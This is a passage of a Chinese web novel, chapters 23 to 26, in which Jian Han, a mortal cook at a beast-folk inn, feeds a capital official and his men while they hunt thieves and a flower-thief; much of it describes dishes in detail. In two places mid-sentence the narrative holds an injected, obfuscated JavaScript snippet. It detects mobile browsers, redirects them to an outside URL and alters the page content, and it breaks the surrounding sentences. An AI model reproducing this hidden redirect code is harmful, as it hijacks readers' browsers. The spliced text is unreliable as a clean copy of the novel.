那老鼠妖能在墙上打洞，难保不会有同类或者同伙也有类似穿墙遁地的特殊功能！ 她的私房钱啊！ 正胡思乱想着，她就被雪翎拉着，乖乖地坐到了一条长板凳上。身后，汪屿和墨无咎虽然脸色不太好看，但也还算配合地站在原地，接受那群京城来客不动声色的审视。 大堂里气氛凝重得能滴出水来。 那位狄大人慢条斯理地呷了口茶，目光如电，扫过客栈众人，缓缓开口，声音不高却带着无形的压力。 “听说……前些时日，在你们这汪仙楼，出现过黑虎、白鹤二位大盗的踪迹？” 这话一出，简菡差点没忍住翻个白眼。 又来了，又来了不是！ 怎么总是绕不开这俩背锅侠呢！ 这都第几回了！ 因为没人应声，狄大人的眉头微不可察地蹙了一下，将手中的茶杯重重地往桌上一顿！ “啪！”的一声脆响，在寂静的大堂里格外刺耳，惊得在座除了他手下之外的所有人身子都不由自主地抖了一瞬。 “你！”狄大人随手一指，目光锐利，正巧指到了恨不得把自己缩起来的简菡，“你来说。” 唉！ 简菡在心里偷偷叹了口气，认命地站起身。这几段说辞，她都快背吐了！她深吸一口气，尽量让自己的声音听起来平稳，将两个穷鬼捉妖师为了赏金，误捉了一只白鹤兽人和一只黑虎兽人的乌龙事件，原原本本地又复述了一遍。 说完，她小心翼翼地抬起眼，目光正好跟狄大人那双充满审视和试探意味的目光碰个正着。 得！ 又全白说了！ 简菡在心里吐槽了一句。 一瞧狄大人那深邃的眼神，她就知道，对方压根没信，一个字都没信！ 狄大人将目光从汪仙楼每个人身上缓缓扫过，从物种上来说，客栈里确实没一个人符合那两位名震江湖的大盗的身份。 可据那鼠妖的初步交代，他之所以冒险盗窃皇陵至宝，就是为了来五福镇寻找黑虎白鹤，献上宝物作为投名状，以期加入他们的团伙。 莫非……情报有误？ 或者这客栈里的人隐藏了身份？ 狄大人的目光再次如同探照灯般从客栈众人身上扫视了一遍。鸡，猫，人，还有……狼？ 怎么看都不像能跟那两位江洋大盗扯上关系的样子。 他冷哼一声，很快否定了自己心里荒谬的猜想。 定是这穷乡僻壤消息闭塞，以讹传讹，再加上那些无良小报为了销量夸大其词，才闹出这等乌龙。 “带路。” 他冷冷丢下两个字，站起身，示意要去客房休息。 穆阳赶紧上前，拼命朝墨无咎和汪屿使眼色，眼睛都快抽筋了，指望这两位中的一个能有点眼力见儿主动带路。 可那俩男的脚跟长了根似的钉在原地，动都不动，一个看天一个看地，就是不看穆阳。 简菡的肩膀忽然被人从身后不轻不重地推搡了一下，推得她向前踉跄了一步。 她愕然回头，只见墨无咎绷着一张万年不变的冰山面瘫脸，朝楼梯上方指了指，嘴唇微动，无声地吐出三个 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他身后的一名仆从立刻上前，当着简菡的面，手指掐诀，施展了一个清净咒，柔和的白光闪过，将屋子里里外外、边边角角都彻底清洁了一遍，仿佛这里是什么污秽之地。 事儿多！洁癖鬼！ 简菡脸上维持着得体的微笑，心里却止不住地疯狂吐槽。 她耐心地等所有人都分配好房间后，微微躬身道：“没有其他吩咐，各位大人请好生休息。” 她刚转身要走，忽然被狄大人叫住。 “等等。” 简菡脚步一顿，心里拉起警报。 “做点吃的送上来。要清淡些，速度快。”狄大人吩咐道，语气不容置疑。 “哦，好。”简菡滞了一瞬，压下心里的不情愿，应声允诺下来。 提着裙摆从楼上下来的时候，她一眼就瞧见了大堂里那些灼灼地望着她的“自己人”。 汪屿、雪翎、墨无咎，连穆阳都凑了过来，眼神里充满了关切和……一丝愧疚？ 哼！知道担心她，刚才还推她出去顶雷！ 简菡装没看见他们询问的眼神，连桌上那盆核桃都没管，径直就钻进了厨房。 新鲜的猪里脊肉，切成薄薄的片，用刀背细细地、均匀地捶打肉片的每一处，直至肉片变得轻薄透明，面积也扩大了不少，肉质纤维松散开来。这样处理过的肉片口感会异常滑嫩。随后，将捶打好的肉片用少许盐、料酒、极少的淀粉抓匀上浆。 锅中烧水，放入几片老姜。 水沸后，将火调小，保持微沸状态，将浆好的肉片一片片迅速抖散下入锅中。肉片遇热瞬间变色，如同花瓣般舒展，熟得极快。 待肉片全部变白浮起，立刻撒入一把洗净的枸杞和几颗红枣，再调入适量的盐和白胡椒粉调味。最后撒上一把切得细细的葱花，淋上几滴香油，便可出锅。 这棒槌肉片汤看似简单，却极其考验火候和对肉片捶打的处理。汤色清澈见底，微微泛着枸杞的红和葱花的绿，看起来十分清爽。肉片薄如蝉翼，口感爽滑异常，鲜嫩无比，几乎是入口即化，带着猪肉最本真的甜味。汤味清淡鲜美，姜丝驱寒，枸杞红枣增添了一丝自然的甘甜，喝下去暖胃又舒心。 简菡将汤盛在一个干净的白瓷盆里，又备了几碟清爽小菜，放在托盘上，深吸一口气，再次认命地给楼上的“贵客”送去。 只希望这碗汤能堵住那位狄大人的嘴，让他别再找客栈的麻烦。 24. 水扯油泼面 “当当。” 简菡轻敲了两下客房门，声音不大不小，恰到好处。 听见里边传来一声低沉的“进”后，她才小心翼翼地推开房门。 “大人，棒槌肉片汤做好了，请慢用。” 她低着头，将托盘上的白瓷汤盆和几碟小菜轻轻放在桌上，动作尽可能轻缓，不发出一点多余声响。 眼角的余光瞥见屋里聚集了狄大人带来的那几位劲装下属，似乎正围在一起低声讨论着什么，气氛凝重。 简菡心里一紧，立刻将头压得更低了些，恨不得把眼睛闭上，生怕瞧见什么不该看的机密，惹来杀身之祸。 放好饭菜，她一刻不敢多留，躬身退了出去。跨过门槛后，还格外贴心地帮他们将房门轻轻关好，这才长长舒了口气。 她感觉后背都有些湿了。 房门一关，隔绝了内外。 棒槌肉片汤那清淡却诱人的香气在屋里弥漫开来，混合着姜丝的暖意和枸杞红枣的微甜，稍稍冲淡了些许紧张的气氛。 狄壬的目光从桌上的汤盆淡淡扫过，朝离他最近的一名下属瞥了一眼。那人心领神会，立刻上前，动作娴熟地从袖子暗囊中取出一根细长的银针，插入汤中，又分别在几个小菜里试了试。 片刻后，银针取出，色泽依旧亮白，并无任何变化。 “大人，无毒。”那人低声回禀，朝狄壬摇了摇头。 狄壬这才微微颔首，食指优雅地勾了勾。马上有另一人取来一只干净的小碗，盛了半碗汤，恭敬地递到他手中。 狄壬执起白瓷勺，舀起一勺清亮的汤汁，吹了吹，送入口中。 温热的汤汁瞬间包裹了味蕾，极致的鲜甜伴随着姜丝的微辛在口中化开，异常清爽。他又尝了一片肉，那肉片薄得近乎透明，入口几乎不需要咀嚼，舌尖轻轻一抵便化开，鲜嫩得不可思议，将猪肉的本味发挥到了极致。枸杞的微甜和葱花的清香恰到好处地提升了整体的风味，却丝毫不显突兀。 “有点意思。”狄壬的眼中闪过一丝明显的惊艳，低声自语。 这小店看着破旧不起眼，没想到厨娘倒是有副难得的好手艺。这碗看似简单的肉片汤，无论是火候、调味还是对食材的处理，都堪称精湛。 然而，欣赏归欣赏，正事不能忘。 线索既然指向了汪仙楼，他狄壬就不可能轻易放过。 他放下碗，起身走到窗边，推开窗户，闭上眼，深深吸了一口气。 他额前那对白色的麟角微微泛起不易察觉的流光，一种独特的天赋能力被悄然激发。他的嗅觉在瞬间被放大了数十倍，空气中无数细微的气味分子被他捕捉、分析。 同时，另一种他擅长的追踪术也无声无息地以客栈为中心，如同水波般向四周扩散感知。 他在搜寻任何可能与黑虎、白鹤或者那鼠妖同伙相关的蛛丝马迹。 然而，片刻之后，他睁开了眼睛，英挺的眉毛不自觉地蹙了起来。 什么都没有！ 周围的气息干净得过分，除了客栈里那几个弱小的妖气和人间烟火气，再无任何异常强大的或者可疑的能量波动。 难道……真的找错方向了？ ========= 简菡送完饭，逃也似的离开二楼。 刚从楼梯拐角冒头，就瞧见雪翎正扒着柜台边缘，探出半个身子，朝她露出一个带着讨好和歉意的笑容。 她提着裙摆下楼，没搭理雪翎，目光却顺着雪翎手指的方向望去。 之前她落在大堂的那盆核桃已经被收拾得干干净净，白白胖胖、完整无比的核桃仁正码在一个干净的大碗里，盆里剩的全是核桃壳。 简菡也不是什么小气的人，见雪翎主动示好，给了台阶，她也就顺势下来了。 “走！”她抱起那碗核桃仁，勾住雪翎的肩膀，“给你做好吃的去！” 核桃仁倒入沸水中焯烫了一下，去除涩味，捞出沥干。锅中放入少许清水和大量的冰糖，小火慢熬，看着糖浆从冒大泡逐渐变得浓稠，颜色微微泛黄。 她将沥干的核桃仁倒入糖浆中，快速翻炒，让每一颗核桃仁都均匀地裹上晶莹的糖浆。然后迅速盛出，摊开在抹了油的盘子里，趁热将粘连的核桃仁分开。 刚出锅的琥珀核桃还热乎乎的，散发着焦糖特有的甜蜜香气。 雪翎和简菡干脆就坐在后院的小凳子上，吹着凉风，边吃边聊天。 简菡拈起一颗放入口中，外面的糖衣冷却后变得酥脆香甜，咬下去能听到清晰的碎裂声，里面的核桃仁却依旧保持着酥脆，带着坚果特有的油脂香气，和焦糖的甜味完美结合，越嚼越香，根本停不下来。 “嗯！好吃！”雪翎吃得眼睛都眯了起来，幸福地晃着脑袋。 “对了，”雪翎忽然想起什么，压低声音道，“刚才你去楼上送饭错过了，穆阳来了一趟，说镇子上最近不太平，好像来了个采花贼，已经有好几户人家姑娘受到惊吓了，让咱们都警惕点，晚上锁好门窗。” “啊！？采花贼？！” 简菡拿核桃的手一顿，脸上的笑容瞬间消失，只觉得后背一阵发凉。 她一个手无缚鸡之力的凡人，别说采花贼了，估计连只凶点的过路野猫都打不过。 她立刻将头靠在了雪翎的肩膀上，声音都故作腔调，带上了哭腔：“好姐姐，今晚你陪我睡吧，我害怕……我一个人睡不敢闭眼……” 雪翎对她的撒娇很是受用，得意地扬了扬下巴，还伸手轻轻拍了拍她的头。 “好说好说！不过嘛……保护费得交一下，一套织霞苑最新款的衣裙不过分吧？” “啊！织霞苑？”简菡哀嚎一声，“姐姐你可要手下留情啊，妹妹我那点小钱钱，可不够你挥霍啊！” 二人正说笑打趣着，简菡忽然想到个困扰她许久的事情。她用肩膀撞了下雪翎。 “诶，我记得我刚来的时候，汪屿曾经说过，兽人修炼后大多辟谷，不用吃五谷杂粮的啊？可为什么我看你们一个个吃得比我还欢？尤其是你！” 她话音没落，雪翎已经“噗嗤”一声，接着笑得前仰后合，眼泪都快出来了。 “哈哈哈哈哈！骗你的！那是他当时骗你的！” “啊？”简菡一头雾水，完全懵了。 雪翎深呼吸了好几轮，才勉强忍住笑意，解释道：“虽然你是被汪屿捡回来的，但那时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599748|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候我们也不知道你的底细嘛，怕你心怀不轨，或者是什么有心之人派来的探子，是以汪屿就故意骗你的，想试探试探你，也省得你一开始就蹭吃蹭喝。” “所以……你们其实也要靠吃东西来填饱肚子？灵力不能当饭吃？” 简菡长久以来的疑惑在这一刻终于得到了解答。 “当然了，”雪翎点点头，“光靠吸收那点日月精华，还没攒够修炼消耗的呢，日常活动、施展法术哪样不耗力气？不吃饱哪有力气？辟谷那是传说中成了仙的大能才做的事，我们这些小兽人，还得靠五谷杂粮活着！” 原来如此！ 简菡恍然大悟，往嘴里又塞了块琥珀核桃。 ========= 楼上那些贵客住店，走的是衙门公账，一时半会儿也不会有衙役来付银子，简菡晚上便偷了个懒，做了一顿简单又管饱的水扯面。 她和好一个柔软光滑的面团，抹上油，饧发一段时间。饧好的面团变得更加柔韧。烧一大锅开水，她用手抓起饧好的面团，捏住一端，手腕灵活地抖动、拉扯，将面团扯成宽窄不一、却异常薄透的长条面片，直接下入滚水中。面片在沸水中翻滚，很快就熟透了，捞出过一下凉水，更加爽滑筋道。 碗里放入葱花、盐、酱油、醋和一大勺油泼辣子，浇上一勺滚烫的面汤激发出香味，再将沥干水的面片捞入碗中，搅拌均匀。再配上些烫好的小青菜摆盘。 水扯面片爽滑筋道，带着浓郁的面香，吸饱了酸辣鲜香的汤汁，吃起来痛快又暖胃。 面煮好，简菡先给楼上那群大爷们送了上去。她一刻不敢多待，放下托盘就赶紧下了楼。 汪屿他们还等着她一起吃饭呢。 客栈的大门此时还大敞着没关，简菡下楼的时候，眼角的余光似乎瞥见门外有道黑影极快地一闪而过！ “啊！” 她吓得低呼一声，脚下一滑，差点从楼梯上崴下去，还好她眼疾手快，一把扶住了楼梯把手，心砰砰狂跳。 “怎么了？”注意到她的异样，汪屿立刻站起身，几步走到门口，警惕地向外张望了一圈。 夜色朦胧，街上空无一人。 “什么都没啊。你看见什么了？”他回过头，蹙眉问道。 简菡已经从楼梯上下来，脸色有些发白，躲到了闻声过来的雪翎身后，声音带着一丝颤抖。 “我也说不上来……就是隐隐约约看见一团黑乎乎的东西，在门口闪了一下，速度特别快……就不见了。” 汪屿和墨无咎对视一眼，立刻想到了下午穆阳来提醒的采花贼。 二人眼神交汇，当下有了决断。 “今晚我睡大堂，”汪屿沉声道，灰色的狼耳警惕地竖起，“无咎，你去她们房间守着，警醒点。” “好。”墨无咎简短地应了一声，黑色的尾巴尖绷得笔直。 发生了这个小插曲，大家也没什么说笑的心情了。 围坐在桌边，默默吃着那碗酸辣开胃、爽滑筋道的水扯面，却都觉得有些食不知味。 简菡更是吃得心不在焉，耳朵竖得老高，时刻注意着门外的动静。 夜色，仿佛也变得不再平静。 25. 蛋炒饭or鸭肠炒饭 “布谷！布谷！” 五福镇夜晚的寂静被一声声布谷鸟的啼鸣打破。 紧接着，更多的鸟叫声加入了这场夜间的合唱。 “叽叽喳喳”的麻雀声，“咕咕咕”的斑鸠声，甚至还有几声尖锐短促、不知名的夜枭啼叫。这些声音忽远忽近，时而密集，时而稀疏，交织成一片并不和谐甚至有些诡异的夜间交响曲，打破了小镇应有的宁静。 汪屿蹙眉，灰色的狼耳在黑暗中敏感地转动着。他睁开了眼睛，竖起耳朵，仔细倾听外面的动静。 楼上那些京城来客的呼吸很浅，显然也处于警惕和防备的状态，并没有进入深度睡眠。至于后院……墨无咎的气息平稳而清醒，像是也没睡。倒是简菡和雪翎，两人呼吸声均匀绵长的，睡得似乎还挺沉。 汪屿仔细听了半晌，除了那此起彼伏、显得有些聒噪的鸟叫，并未察觉到什么明显的异样。 没有脚步声，没有陌生的气息，没有灵力波动。或许只是镇外林子里的鸟群被什么惊扰了。 他重新化为威风凛凛的灰狼原身，跳到了桌子上，在柔软的棉被上盘卧下来，再次阖上了眼睛，但耳朵依旧保持着警觉。 丑时二刻，屋外街道上忽然传来一个女人凄厉无比的尖叫声，划破了清晨的宁静！ “啊……！” 汪屿唰地一下翻身落地，瞬间化为人形，灰色的毛发褪去，露出精悍的身躯和警惕的面容。 他如同离弦之箭般冲向客栈大门！ 等他猛地拉开门冲出去的时候，门外已经站了一堆人。 狄壬和他那些手下，他们显然是从二楼直接跃下来的，动作迅捷无比，此刻正呈半包围态势，警惕地盯着街道中央。 汪屿目光一扫，发现对门衔蝉苑的苗澈也被惊动了。他正倚在门框上，银色的猫耳微微抖动，面无表情地看着街上的情况。 二人的视线在空中短暂相撞，都从彼此的眼神里瞧出了对彼此的嫌弃。 下一刻，二人纷纷嫌恶地挪开了视线，将注意力投向尖叫传来的方向。 接到中央，一条鱼瘫在地上，身体痛苦地扭曲着。腹部被划开了一道伤口，鲜血染红了银灰色的鱼鳞。她似乎极度缺氧，鱼鳃艰难地开合着，硕大的鱼尾无力地在地面上拍打，幅度越来越小，眼看就要不行了。 她的身边扔着一块材质普通的手帕，散发着一股刺鼻的、甜腻中带着古怪的气味。 汪屿闭上眼，仔细嗅了嗅空气中残留的味道。 是……迷魂药！而且药性极烈！ 他的目光偏移，落在女子鱼尾附近的地面上。那里散落着几颗橙红色、圆润饱满的鱼籽，像是被迫从体内挤压出来的，在尘土中显得格外刺眼。 汪屿抱着胳膊，沉默地退到了一根廊柱边，靠了上去，灰色的狼眸深邃，冷眼旁观着狄壬等人的行动。 他脑海里，忽然闪过昨晚简菡惊恐地说看到“一团黑乎乎的东西”的情景…… 此时，狄壬已然上前。 他蹲下身，并未直接触碰受害者和证物，只是闭上眼，额前那对白色的麟角再次泛起微光。 他深深地、缓慢地吸气，仿佛要将周围所有的气味分子都吸入肺中进行分析。 迷魂药的甜腻恶臭、受害鲑鱼女子的腥气、尘土味、以及……一丝极其微弱、却被迷药气味极力掩盖的、属于施暴者的特殊体味！ 那味道混杂着水汽、某种腥臊和一丝臭味。 同时，他的追踪术也以手帕为中心向外辐射，感知着残留的能量痕迹。那痕迹极其淡薄，作案者显然十分小心，但依旧留下了一条微弱却清晰的指向性线索。 片刻后，狄壬猛地睁开眼，目光锐利如刀，斩钉截铁地吐出三个字：“城东方向！” 命令简洁有力。 他带来的那些精锐手下立刻有条不紊地行动起来。 一部分人留下保护奄奄一息的受害者和看守现场，维持秩序；其余人则如同鬼魅般，悄无声息却又速度极快地紧随狄壬，朝着城东方向疾掠而去！ 警报暂时解除，也没热闹可看了。 汪屿从木柱上直起身，拍了拍身上并不存在的灰尘，转身就往客栈里走。 冤家路窄！ 也不知是什么孽缘，他一回头，又跟对面那只不正经的猫对视上了。 两人同时从鼻子里发出一声表示不屑的“切”，然后动作一致地扭开头，背对着对方，各自回了自己的店里。仿佛多看一眼都会长针眼。 这一晚，谁都没睡好。 简菡其实早早就醒了过来。那时，连身边的雪翎都还在沉沉睡着。但她这一动，还是惊醒了雪翎。 “起这么早？”雪翎迷迷糊糊地睁开眼，打了个哈欠，伸了个懒腰。 “我睡不着了。” 简菡坐起身，心里总觉得不踏实。她一扭头，发现桌子上已经不见了墨无咎的踪影。 二人洗漱完，隐约听见大堂里有低声说话的声音。 “这么早，谁啊？” 简菡和雪翎疑惑地对视一眼，循着声音的源头走近。 客栈的大门已经开了，墨无咎和汪屿对着门口坐着，正低声聊着天。见她们进来，话音都没停，显然讨论的事情并不避讳她们。 “你觉得这采花贼……是个什么兽？” “说不好。”汪屿摇了摇头，“昨晚，手帕上的迷药味道太过于浓烈刺鼻，几乎完全遮掩了兽人本身的味道。”他顿了顿，补充道，“而且，对方很小心，几乎没留下什么灵力痕迹。” “采花贼？什么采花贼？” 简菡和雪姗姗来迟，听得云里雾里。 汪屿将昨晚发生在后街的惨案简单地说了一遍。 “还真有采花贼啊！” 简菡惊叹一声，心里一阵后怕，不由得抱紧了胳膊。 自从那个鼠妖打洞开始，这镇子就没平静过，还真是流年不利，晦气冲天！ 她正在心里疯狂吐槽，就听见门外传来一阵略显凌乱的脚步声。 狄壬带着人回来了。 一个个灰头土脸，神情疲惫，哪还有昨天刚来时那股趾高气扬、精悍逼人的神气劲儿？他们的官服上都沾着尘土，有的甚至头发丝里还挂着蜘蛛网，不知道的还以为他们半夜不睡觉集体去挖煤了呢！ 狄壬的脸色尤其阴沉，他大步走进客栈，看也没看旁人，直接对简菡吩咐道：“小厨娘，去煮点吃的来。要快！” “噢。” 简菡下意识地应了一声，目光飞快地从这群狼狈的“大神”身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604507|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上掠过，不敢多问，赶紧低头钻进了厨房。 这群人看着就跟穷凶极饿似的，眼神都快冒绿光了。简菡也不敢怠慢，只能挑最快最省事的做。 幸好锅里还有昨天她特意蒸的一大锅米饭，本来是想留着今天做鸭肠炒饭的，此刻也只好先拿出来便宜他们了。 锅中多放了些油烧热，打入几个鸡蛋快速滑炒成金黄色的蛋碎盛出。就着底油，下入切好的葱花爆香，然后倒入隔夜米饭，用锅铲使劲按压、翻炒，将结块的米饭炒散炒热，粒粒分明。 再倒入炒好的鸡蛋碎，加入适量的盐和酱油调味，大火快速翻炒均匀，让每一粒米都裹上油光和酱色，最后撒上一把葱花增香。蛋炒饭色泽金黄，鸡蛋香嫩，米饭粒粒分明，干香可口。 泡发洗净切成丝的海带煮软后，再加入切得薄薄的熟牛肉片，调入适量的盐和白胡椒粉，撒上葱花和香油。汤色清亮，海带滑嫩，牛肉酥烂，清淡解腻，正好搭配蛋炒饭。 有之前那些捉妖师大胃王的先见之明，简菡怕他们不够吃，又赶紧快手拌了一大盆的拌花菜。 西蓝花、甘蓝、黄瓜、腐竹、木耳、花生米等用糖、醋、盐、辣椒油、蒜末等调料拌匀，酸甜辣爽，开胃解腻。 饭菜一端上来，那股浓郁的香气瞬间抚慰了疲惫不堪的众人。 那群京城来的大爷们也顾不上什么仪态儒雅和斯文了，道了声谢，立刻争先恐后地围坐过来，狼吞虎咽地吃了起来。 蛋炒饭干香扑鼻，米饭炒得恰到好处，鸡蛋嫩滑，葱香浓郁，吃起来格外满足。牛肉海带汤温热鲜香，一口炒饭一口热汤，熨帖着受了一夜罪的肠胃。那盆拌花菜更是受欢迎，酸甜辣脆的口感极大地刺激了食欲，让人胃口大开。 香气萦绕在鼻尖，站在一旁的墨无咎看向简菡，那双墨绿色的猫眼里清清楚楚地写着：我的呢？我们的呢？ 简菡悄悄朝他使了个眼色，微微摇了摇头，示意他别着急，等着。 没一会儿，那群风卷残云般的大爷们就将桌上那一大盆蛋炒饭、一盆汤和一盆拌菜吃了个一干二净，碗底都刮得干干净净。 墨无咎的脸也随之彻底臭了下来，黑色的尾巴尖不高兴地拍打着地面。 等那群人吃饱喝足，拖着疲惫的身子上楼补觉，确认一时半会儿不会下来后，简菡这才赶紧招呼着墨无咎、汪屿和雪翎溜进了厨房。 “快来快来！给你们留了更好的！” 她揭开另一个灶上的盖子，里面是专门为他们准备的鸭肠炒饭！ 用的是最新鲜脆嫩的鸭肠，昨晚提前卤制入味，和米饭、鸡蛋、葱花一起爆炒，鸭肠爽脆弹牙，带着卤香，和蛋炒饭是绝配！旁边还有小锅温着的牛肉海带汤和特意多留出来的一大碗拌花菜。 这才是他们真正的早餐！ 四人围在厨房的小桌旁，享用着美食。 鸭肠炒饭的滋味自然是比蛋炒饭更胜一筹。 鸭肠脆中带嫩、弹而不柴。表皮质地紧实，咬破表皮脆感后，内里呈现恰到好处的“嫩”，带着鸭肉专属的鲜润质感，嚼动时能感受到轻微的回弹力度。 炒饭的油润度通常控制得刚好，每口都有油香却不油腻，鸭肠的鲜汁和鸡蛋的焦香会微微渗进米饭颗粒里，让米饭多了一层鲜灵。 26. 火辣年糕猪蹄 不到中午，楼上那群官爷们又风风火火地出了门，直到天黑透了才拖着沉重的步伐回来。 从他们那一个个耷拉着脑袋、丧气得如同斗败公鸡般的表情不难看出，又是白忙活一天，估计连凶手的毛都没摸到。 如此又过了三四天，依旧是毫无进展。 他们每日早出晚归，但每一次归来都带着更深的疲惫与失望。在他们的渲染下，连带着客栈中的气氛也一日比一日压抑。 这日深夜，简菡和雪翎睡得正香，又是一阵急促嘈杂的脚步声和低沉的呼喝声将她们从梦中惊醒。 “唔……又怎么了……” 雪翎迷迷糊糊地嘟囔着，揉着眼睛坐起身。 简菡也困得不行，两人睡眼惺忪地对视一眼，都没搞清楚状况。 就在这时，房门被轻轻推开一条缝，墨无咎竖着尾巴，悄无声息地溜了进来，黑色的猫瞳在黑暗中闪着微光。 “睡吧，”他言简意赅，语气带着一丝被打扰的不耐烦，“那群人又出去了。” 得了答案，两人如同被抽走了骨头，“哐当”一声又砸回枕头上，几乎是瞬间就又睡了过去。 实在是这几天被折腾得够呛。 谁都睡不好。 然而，那一晚，外面就根本没消停过。 布谷鸟和其他乱七八糟的鸟叫声此起彼伏，间或夹杂着远处传来的呼喝声、奔跑声，还有各种分辨不清的嘈杂声响，交织在一起，吵得简菡最后干脆将头整个缩进了被子里，用枕头捂住耳朵，压根不想去听外边的任何动静。 隔天一早，简菡顶着一对浓重的黑眼圈起床，连打了好几个哈欠，精神萎靡地直奔厨房。 算了，反正楼上那群官爷也不在，正好做点好吃的安慰一下自己备受折磨的身心。 肥硕的猪蹄仔细刮洗干净，剁成大小合适的块，冷水下锅，加入姜片、料酒大火煮沸，仔细撇去浮沫，捞出用温水冲洗干净，沥干水分备用。 热锅凉油，放入一大把冰糖，小火慢炒至冰糖融化，变成枣红色的糖色。然后迅速倒入沥干的猪蹄块，快速翻炒，让每一块猪蹄都均匀地裹上诱人的糖色。 接着放入大量的葱段、姜片、蒜瓣、八角、桂皮、香叶，还有重中之重——足足两大勺的豆瓣酱和一把干辣椒段，继续翻炒，炒出红油和浓郁的复合香味。 烹入料酒、酱油、少许老抽上色，然后倒入足量的开水，一定要没过所有的猪蹄。 大火烧开后，转为小火，盖上锅盖慢慢焖炖。炖了约莫一个时辰，直到用筷子能轻易戳透猪皮，汤汁也收拢了一半，猪蹄变得红亮酥烂。 这时，将提前泡软切段的年糕倒入锅中，用勺子轻轻推动，让年糕埋进浓郁的汤汁里，继续小火炖煮。随着时间的推移，年糕逐渐变得软糯，吸饱了麻辣鲜香的汤汁。 最后开大火收汁，让汤汁变得更加浓稠，紧紧包裹在猪蹄和年糕上。撒上一把熟白芝麻和葱花，一锅色泽红亮诱人、香气麻辣霸道的火辣年糕猪蹄就做好了。猪蹄炖得极其软烂脱骨，入口即化，胶质丰富，麻辣鲜香，滋味十足。年糕软糯Q弹，吸满了汤汁的精华，比肉还好吃。 浓郁的香气扑鼻而来，简直能香飘十里。 简菡正给大家分着碗筷，准备大快朵颐，就听客栈门外传来一阵不小的骚动！ 这下，不止是楼上那些官爷回来了，连穆阳都跟着一同来了，一群人浩浩荡荡，脚步声杂乱。 但与前几天不同的是，这些人虽然依旧是一脸疲惫，风尘仆仆，但眉宇间却少了之前的沮丧，反而带着一丝难以掩饰的振奋和轻松！ 尤其是穆阳，那嘴角都快咧到耳后根了。 这是……抓到人了？！ “有饭吃！太好了！快帮我盛一碗！饿死我了！” 穆阳不见外地一屁股就坐到了凳子上，伸手就要去抓盘子里的猪蹄。 “啪！”他的手还没碰到猪蹄，就被墨无咎用桌上的一块抹布不轻不重地拍开了。 “洗手去。” 墨无咎冷着脸，言简意赅，黑色的猫尾巴都嫌弃地扫了一下。 他这话一出，效果超乎想象！ 那群京城来的官爷步子比穆阳还快，压根不用人招呼，十分自觉地、甚至有点争先恐后地直奔后院的水井而去，哗啦啦的水声立刻响成一片。 简菡皱着眉看了眼桌上原本分量十足、但现在看来绝对不够分的火辣猪蹄和米饭，暗道了一声：不好！狼多肉少啊！ 趁着那群人去洗手的功夫，简菡赶紧给汪屿和墨无咎和雪翎下了死命令。 “快！一定要托住他们！别让他们动筷子！给我争取点时间！” 说完，她拉起还在发懵的雪翎，如同旋风般冲回了厨房。 半坛子腌得冒油的咸鸭蛋都被简菡掏了出来，她让雪翎帮忙洗干净，一切为二，直接装盘就是一道美味。 她自己则忙得像个小陀螺：黄瓜用刀背猛地一拍，拍裂后切成小段，加入蒜末、盐、糖、醋、香油和少许辣椒油一拌，爽口开胃的拍黄瓜瞬间完成。 接着又飞快地炒了番茄炒蛋、醋溜白菜、酸辣土豆丝，拌了个呛拌干豆腐丝，烧了一大碗紫菜蛋花汤，最后还搅了一大盆面疙瘩，准备做个疙瘩汤以防万一。 简菡在厨房里恨不得自己能生出三头六臂，灶火全开，锅铲翻飞，忙得额头冒汗。 差不多一炷香的功夫，她和雪翎总算将紧急加工出来的好几道菜和那一大盆疙瘩汤端了上来。 大堂里，气氛那叫一个剑拔弩张！ 汪屿和墨无咎两个人，一个抱着胳膊冷着脸，一个面无表情地甩着尾巴，硬是挡在饭桌前，跟狄壬那一群眼巴巴等着开饭的手下对峙着，空气中仿佛有无形的电光火石在噼啪作响。 可算是撑到了简菡回来！ “来了来了！加菜了！”简菡赶紧招呼。 此刻也顾不上分什么主位次位了。 饭菜刚摆好，那群饿绿了眼的官爷们便无比自觉地端起了自己的碗筷，目光灼灼地盯着简菡，就等她一声令 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似乎是累极了，吃完饭，那群官爷们也没多话，默默地就上了楼休息。连穆阳都累得直接化回了牧羊犬的原身，耷拉着耳朵和尾巴，居然想去抢汪屿平时歇脚的那个软垫窝。 也不知道他多少天没洗澡了，毛发看起来就灰扑扑、脏兮兮的。 汪屿嫌弃地在他毛茸茸的屁股上不轻不重地踹了一脚，随后丢给他一条旧毯子，没好气地道：“自己找地方趴着去！少打老子地盘的主意！” 穆阳委屈地“呜咽”一声，叼着毯子，委委屈屈地找了个角落盘卧下来。 日暮偏西，楼上那些人也没啥动静。 简菡也不敢去问到底抓没抓到人，只能闷头又去了厨房，发面、和面，蒸了好几屉白白胖胖的大馒头。 想着万一晚上还要加餐，她又吭哧吭哧地炒了鱼香肉丝、芹菜炒牛肉、家常豆腐、回锅肉，最后还烧了一大锅冬瓜丸子汤。 当她端着最后一道回锅肉走出厨房时，惊讶地发现那群人跟闪现似的，已经整整齐齐、端端正正地坐在餐桌旁等她了！ 那阵仗吓得她脚下一滑，差点把那盆油汪汪的回锅肉给撒了！ 跟中午比起来，晚上这顿，大家的吃相倒是都斯文了不少。 “明天得空，可以来县衙旁听，”穆阳一边夹着一筷子芹菜牛肉，一边看似随意地说道，“狄大人亲审采花贼。” 听了穆阳的话，简菡下意识就扭头看向了主位上的狄壬。 